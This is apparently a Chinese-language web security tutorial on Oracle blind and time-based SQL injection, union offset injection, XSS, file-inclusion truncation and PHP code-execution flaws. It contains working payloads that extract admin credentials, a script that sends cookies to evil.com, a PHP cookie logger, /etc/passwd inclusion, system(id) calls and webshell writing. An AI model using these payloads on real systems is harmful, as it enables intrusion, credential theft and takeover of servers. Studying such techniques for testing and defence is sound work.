Web
SQL注入
布尔型盲注入
1两种利用布尔型实现盲注入方法
1.是否存在注入 根据页面的返回不同 从而判断注入点。
2.出数据 通过注入点 构造的SQL语句 判断页面是否正常。
2 盲注入
decode(字段或字段的运算,值1,值2,值3)
这个函数运行的结果是,当字段或字段的运算的值等于值1时,该函数返回值2,否则返回3
当然值1,值2,值3也可以是表达式,这个函数使得某些sql语句简单了许多
使用方法:
比较大小
select decode(sign(变量1-变量2),-1,变量1,变量2) from dual; —取较小值
sign()函数根据某个值是0、正数还是负数,分别返回0、1、-1
例如:
变量1=10,变量2=20
则sign(变量1-变量2)返回-1,decode解码结果为“变量1”,达到了取较小值的目的。
1+3=4 返回1 不等于返回0
select decode(1+3,4,1,0) from dual;
select decode(user,’SYSTEM’,1,0) from dual;
获取当前用户 (select user from dual)
获取当前版本 (select banner from sys.v_$version where rownum=1)
获取当前admin表的帐号和密码 (select username||password from admin)
获取字符长度
select length(user) from dual —
select * from art where id=1 and 6=(select length(user) from dual) —
?id=1 and 6=(select length(user) from dual) --
当前用户第一个字母的是否等于S 等于返回1否则返回0
(select decode(substr(user,1,1),'S',1,0) from dual) -- (select decode(substr(user,2,1),'Y',1,0) from dual) -- (select decode(substr(user,3,1),'S',1,0) from dual) -- (select decode(substr(user,4,1),'T',1,0) from dual) -- (select decode(substr(user,5,1),'E',1,0) from dual) -- (select decode(substr(user,6,1),'N',1,0) from dual) --
测试当前用户语句
?id=1 and 1=(select decode(substr(user,1,1),'S',1,0) from dual) --
获取当前admin表的帐号和密码
?id=1 and 1=(select decode(substr((select username%7c%7cpassword from admin),1,1),'a',1,0) from dual)
判断字符的字符
查询第二个的时候
?id=1 and 1=(select decode(substr((select username%7c%7cpassword from admin),2,1),'d',1,0) from dual)
3盲注入通用 逐字猜解法
先获取数据长度
?id=1 and 37=(select length(username%7c%7cpassword) from admin)--
select * from art where id=1 and 37=(select length(username||password) from admin);
猜解ascii码
?id=1 and (select ascii(substr(username%7c%7cpassword,1,1)) from admin)=97
延时注入
1
在Oracle PL/SQL中有一种更好的办法,可以使用下面的指令以内联方式注入延迟:
dbms_pipe.receive_message(‘RDS’, 10)
DBMS_PIPE.RECEIVE_MESSAGE函数将为从RDS管道返回的数据等待10秒。默认情况下,允许以public权限执行该包。DBMS_LOCK.SLEEP()与之相反,它是一个可以用在SQL语句中的函数。
3判断注入
?id=-1 or 1= dbms_pipe.receive_message('RDS', 10)--
如果页面延时10秒返回,即存在注入。
4延时注入
and 1=(select decode(substr(user,1,1),’S’,1,0) from dual) —
在decode注入里加入延时语句。
?id=1 and 1=(select decode(substr(user,1,1),'S',dbms_pipe.receive_message('RDS',5),0) from dual) --
4查询数据
首先判断长度 6
?id=1 and 1=(select decode(length(user),6,dbms_pipe.receive_message('RDS',10),0) from dual)--
查询第一个字符
(select decode(substr(user,1,1),'S',dbms_pipe.receive_message('RDS', 10),0) from dual) -- (select decode(substr(user,2,1),'Y',dbms_pipe.receive_message('RDS', 10),0) from dual) -- (select decode(substr(user,3,1),'Y',dbms_pipe.receive_message('RDS', 10),0) from dual) -- (select decode(substr(user,4,1),'T',dbms_pipe.receive_message('RDS', 10),0) from dual) -- (select decode(substr(user,5,1),'E',dbms_pipe.receive_message('RDS', 10),0) from dual) -- (select decode(substr(user,6,1),'N',dbms_pipe.receive_message('RDS', 10),0) from dual) --
?id=1 and 1=(select decode(substr(user,1,1),'S',dbms_pipe.receive_message('RDS',10),0) from dual) --
高级注入技巧 位移注入
1.简介
这种注入方式合适在找到表找不到字段的情况下使用。
这种注入方式 需要联合两个表 所以这种注入也是联合查询注入的一种。
2.原理
在SQL中查询 select * from admin 星号代表所有字段。
而且 select * from admin 的结果等于下面几种结果
select admin.* from admin
select admin.id,admin.username,admin.password from admin
select id,username,password from admin
在使用位移注入这种注入方法,需要确定当前表的,字段数
表article 的字段为3个
使用联合语句 把另外一个表联合进来查询
select * from article where id=1 union select 1,2,3 from admin
admin的表的字段数同样也是3个 把admin.* 替换1,2,3
select from article where id=1 union select admin. from admin
语句并没有报错 因为列数一样 同样也会显示表admin里面的字段数据
把语句改成这样就会只显示 表 admin的数据
select from article where id=-1 union select admin. from admin
注意:
使用这种方法
当前表的字段大于或等于联合的表
这里当前表就是 article 联合的表就是 admin
3.网站测试
http://target_sys.com/article.php?id=-1 union select admin.* from admin
4.其他数据库
在其他数据库中也可以使用这种方法,例如access
order by的字段数
select * from product where id=100 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26 from admin
product 的表字段数为26
select from product where id=100 union select 1,2,3,4,5,6,7,8,9,10,11,12, from admin
这里的*星号代表admin的字段数 所以用26-13=13 所以admin的字段个数为13
用admin.替换这里的 星号
select * from product where id=100 union select 1,2,3,4,5,6,7,8,9,10,11,12,admin.* from admin ?ID=100 union select 1,2,3,4,5,6,7,8,9,10,11,12,admin.* from admin
这样同样也是可以执行语句 获取数据,也可以将admin.*放到其他列
select from product where id=100 union select admin.,2,3,4,5,6,7,8,9,10,11,12,13 from admin
http://127.0.0.1:99/ProductShow.asp?ID=100 union select admin.*,2,3,4,5,6,7,8,9,10,11,12,13 from admin
同样也是可以执行的。
同样星号也可以放在其他位置
select from product where id=100 union select ,2,3,4,5,6,7,8,9,10,11,12,13 from admin
select from product where id=100 union select admin.,2,3,4,5,6,7,8,9,10,11,12,13 from admin
表名. 和 这种同样的可以也是表示字段数 他两种结果是不一样 的
漏洞学习与利用
xss
xss漏洞的挖掘与利用
1、什么是xss漏洞
XSS攻击全称跨站脚本攻击,XSS是一种在web应用中的计算机安全漏洞,它允许恶意web用户将代码植入到web网站里面,供给其它用户访问,当用户访问到有恶意代码的网页就会产生xss攻击。
2、XSS攻击的危害包括
1、盗取各类用户帐号,如机器登录帐号、用户网银帐号、各类管理员帐号
2、控制企业数据,包括读取、篡改、添加、删除企业敏感数据的能力
3、盗窃企业重要的具有商业价值的资料
4、非法转账
5、强制发送电子邮件
6、网站挂马
7、控制受害者机器向其它网站发起攻击
3、xss漏洞的类型
反射型
反射型XSS,非持久化,需要欺骗用户自己去点击链接才能触发XSS代码
http://target_sys.com/xss/xss01.php?name=
存储型
存储型XSS,持久化,代码是存储在服务器中的,如在个人信息或发表文章等地方,加入代码,如果没有过滤或过滤不严,那么这些代码将储存到服务器中,用户访问该页面的时候触发代码执行。
<SCRIPT>alert(document.cookie)</SCRIPT>
dom型
DOM,全称Document Object Model,是一个平台和语言都中立的接口,可以使程序和脚本能够动态访问和更新文档的内容、结构以及样式。
DOM型XSS其实是一种特殊类型的反射型XSS,它是基于DOM文档对象模型的一种漏洞。
在网站页面中有许多页面的元素,当页面到达浏览器时浏览器会为页面创建一个顶级的Document object文档对象,接着生成各个子文档对象,每个页面元素对应一个文档对象,每个文档对象包含属性、方法和事件。可以通过JS脚本对文档对象进行编辑从而修改页面的元素。也就是说,客户端的脚本程序可以通过DOM来动态修改页面内容,从客户端获取DOM中的数据并在本地执行。基于这个特性,就可以利用JS脚本来实现XSS漏洞的利用。
document.referer属性
window.name属性
location属性
innerHTML属性
documen.write属性
默认火狐是不能执行这种dom xss 因为火狐会把url上面的字符串进行编码
在ie里面默认不编码 但是要关闭xss过滤器方可执行
4、测试XSS
<h5>1</h5> <SCRIPT>alert(document.cookie)</SCRIPT>
<img src=1 onerror=alert(document.cookie)>
5、XSS利用
盗取COOKIE
接收cookie代码
xss.php
<?php @ini_set('display_errors',1); $str = $_GET['joke']; $filePath = "joke.php"; $handler = fopen($filePath, "a"); fwrite($handler, $str); fclose($handler); ?>
xss.js
var img = document.createElement(‘img’);
img.width = 0;
img.height = 0;
img.src = ‘http://ip /xss.php?joke=’+encodeURIComponent(document.cookie);
xss.js
var img=document.createElement("img");
img.src="http://www.evil.com/log?"+escape(document.cookie);
document.body.appendChild(img);
6、加载payload
7、关闭浏览器XSS机制
chrome的关闭方法:
我的chrome安装目录在C:\Program Files (x86)\Google\Chrome\Application\chrome.exe,关闭方法是在命令行输入以下命令:
“C:\Program Files (x86)\Google\Chrome\Application\chrome.exe” —args —disable-xss-auditor
ie和firefox的关闭方法在如下链接:
http://www.phillips321.co.uk/2012/03/01/xss-browser-filters-disabling-it-for-app-testing/
文件包含截断
1、00截断法
00字符截断(php<5.3.4)
(需要 magic_quotes_gpc=off)
/etc/passwd
/etc/passwd%00
http://include.moonteam.com/file02.php?file=x.jpg%00
2、超长文件截断
(php版本小于5.2.8 可以成功,linux需要文件名长于4096,windows需要长于256)
利用操作系统对目录最大长度限制。
在window下256字节
linux下4096字节
截断的字符有
.
http://include.moonteam.com/file02.php?file=x.jpg………………………………………………………………………………………………………………………………………………………………………………………………………………
/.
3、问号截断
适用于远程截断。
php>=5.3
allow_url_fopen On On
allow_url_include On
http://www.webtester.com/include/file02.php?file=http://192.168.0.121/x.txt?
代码执行漏洞与利用
当应用在调用一些字符串转化为代码的函数时,没有考虑用户是否能控制这个字符串,将造成代码注入漏洞(代码执行漏洞)。
PHP eval()、assert()、preg_replace()
python exec()
Java 没有类似于前面两者的函数,但是有反射机制,并且有基于反射机制的表达式引擎,如:0GNL、SpEL、MVEL等
1. 动态代码执行
<?php
function m_print(){
echo ‘这是一个页面’;
}
$_GET‘a’;
?>
查看php信息
assert 可以执行php里面的一些函数比如phpinfo()
http://www.webtester.com/code/code01.php?a=assert&b=phpinfo()
http://www.webtester.com/code/code01.php?a=assert&b=system(id)
http://www.webtester.com/code/code01.php?a=assert&b=var_dump(1)
2. eval代码执行
<?php
$data = isset($_GET[‘data’])?$_GET[‘data’]:’这是一个eval漏洞页面’;
@eval($ret = $data);
echo $ret;
?>
eval可以执行php代码
http://www.webtester.com/code/code02.php?data=phpinfo();
http://www.webtester.com/code/code02.php?data=system(id);
fputs(fopen(“shell.php”,”a”),”<?php phpinfo();?>”);
写webshell
http://www.webtester.com/code/code02.php?data=fputs(fopen("../upload/shell.php","a“),”<?php phpinfo();?>”);
3. 正则代码执行
<?php
$data = $_GET[‘data’];
preg_replace(‘/(.*)<\/data>/e’,’$ret = “\1”;’,$data);
?>
发表评论